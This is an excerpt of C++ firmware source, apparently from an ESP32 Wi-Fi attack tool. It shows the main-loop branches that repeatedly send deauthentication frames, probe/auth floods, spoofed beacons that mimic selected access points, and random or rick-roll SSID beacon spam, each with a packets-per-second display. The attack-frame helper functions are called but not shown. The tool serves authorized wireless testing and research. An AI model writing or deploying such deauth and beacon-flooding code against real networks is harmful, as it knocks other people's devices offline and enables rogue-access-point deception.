  2681. packetMonitorMain(currentTime);
  2682. #endif
  2683. #endif
  2684. }
  2685. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2686. {
  2687. #ifdef HAS_SCREEN
  2688. #ifndef MARAUDER_MINI
  2689. eapolMonitorMain(currentTime);
  2690. #endif
  2691. #endif
  2692. }
  2693. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2694. {
  2695. #ifdef HAS_SCREEN
  2696. eapolMonitorMain(currentTime);
  2697. #endif
  2698. }
  2699. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2700. for (int i = 0; i < 55; i++)
  2701. this->sendProbeAttack(currentTime);
  2702. if (currentTime - initTime >= 1000) {
  2703. initTime = millis();
  2704. String displayString = "";
  2705. String displayString2 = "";
  2706. displayString.concat(text18);
  2707. displayString.concat(packets_sent);
  2708. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2709. displayString2.concat(" ");
  2710. #ifdef HAS_SCREEN
  2711. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2712. display_obj.showCenterText(displayString2, 160);
  2713. display_obj.showCenterText(displayString, 160);
  2714. #endif
  2715. packets_sent = 0;
  2716. }
  2717. }
  2718. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2719. for (int i = 0; i < 55; i++)
  2720. this->sendDeauthAttack(currentTime, this->dst_mac);
  2721. if (currentTime - initTime >= 1000) {
  2722. initTime = millis();
  2723. String displayString = "";
  2724. String displayString2 = "";
  2725. displayString.concat(text18);
  2726. displayString.concat(packets_sent);
  2727. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2728. displayString2.concat(" ");
  2729. #ifdef HAS_SCREEN
  2730. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2731. display_obj.showCenterText(displayString2, 160);
  2732. display_obj.showCenterText(displayString, 160);
  2733. #endif
  2734. packets_sent = 0;
  2735. }
  2736. }
  2737. else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
  2738. for (int i = 0; i < 55; i++)
  2739. this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
  2740. if (currentTime - initTime >= 1000) {
  2741. initTime = millis();
  2742. String displayString = "";
  2743. String displayString2 = "";
  2744. displayString.concat(text18);
  2745. displayString.concat(packets_sent);
  2746. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2747. displayString2.concat(" ");
  2748. #ifdef HAS_SCREEN
  2749. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2750. display_obj.showCenterText(displayString2, 160);
  2751. display_obj.showCenterText(displayString, 160);
  2752. #endif
  2753. packets_sent = 0;
  2754. }
  2755. }
  2756. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2757. // Need this for loop because getTouch causes ~10ms delay
  2758. // which makes beacon spam less effective
  2759. for (int i = 0; i < access_points->size(); i++) {
  2760. if (access_points->get(i).selected)
  2761. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2762. random(256),
  2763. random(256),
  2764. random(256),
  2765. random(256),
  2766. random(256)}});
  2767. }
  2768. if (currentTime - initTime >= 1000)
  2769. {
  2770. initTime = millis();
  2771. //Serial.print("packets/sec: ");
  2772. //Serial.println(packets_sent);
  2773. String displayString = "";
  2774. String displayString2 = "";
  2775. displayString.concat(text18);
  2776. displayString.concat(packets_sent);
  2777. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2778. displayString2.concat(" ");
  2779. #ifdef HAS_SCREEN
  2780. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2781. display_obj.showCenterText(displayString2, 160);
  2782. display_obj.showCenterText(displayString, 160);
  2783. #endif
  2784. packets_sent = 0;
  2785. }
  2786. }
  2787. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2788. {
  2789. // Need this for loop because getTouch causes ~10ms delay
  2790. // which makes beacon spam less effective
  2791. for (int i = 0; i < 55; i++)
  2792. broadcastRandomSSID(currentTime);
  2793. if (currentTime - initTime >= 1000)
  2794. {
  2795. initTime = millis();
  2796. //Serial.print("packets/sec: ");
  2797. //Serial.println(packets_sent);
  2798. String displayString = "";
  2799. String displayString2 = "";
  2800. displayString.concat(text18);
  2801. displayString.concat(packets_sent);
  2802. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2803. displayString2.concat(" ");
  2804. #ifdef HAS_SCREEN
  2805. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2806. display_obj.showCenterText(displayString2, 160);
  2807. display_obj.showCenterText(displayString, 160);
  2808. #endif
  2809. packets_sent = 0;
  2810. }
  2811. }
  2812. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2813. for (int i = 0; i < ssids->size(); i++)
  2814. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2815. if (currentTime - initTime >= 1000)
  2816. {
  2817. initTime = millis();
  2818. packets_sent = 0;
  2819. }
  2820. }
  2821. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2822. for (int i = 0; i < access_points->size(); i++) {
  2823. if (access_points->get(i).selected)
  2824. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2825. }
  2826. if (currentTime - initTime >= 1000) {
  2827. initTime = millis();
  2828. packets_sent = 0;
  2829. }
  2830. }
  2831. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2832. {
  2833. // Need this for loop because getTouch causes ~10ms delay
  2834. // which makes beacon spam less effective
  2835. for (int i = 0; i < 7; i++)
  2836. {
  2837. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2838. {
  2839. broadcastSetSSID(currentTime, rick_roll[x]);
  2840. }
  2841. }
  2842. if (currentTime - initTime >= 1000)
  2843. {
  2844. initTime = millis();
  2845. //Serial.print("packets/sec: ");
  2846. //Serial.println(packets_sent);
  2847. String displayString = "";
  2848. String displayString2 = "";
  2849. displayString.concat(text18);
  2850. displayString.concat(packets_sent);
  2851. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2852. displayString2.concat(" ");
  2853. #ifdef HAS_SCREEN
  2854. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2855. display_obj.showCenterText(displayString2, 160);
  2856. display_obj.showCenterText(displayString, 160);
  2857. #endif
  2858. packets_sent = 0;
  2859. }
  2860. }
  2861. }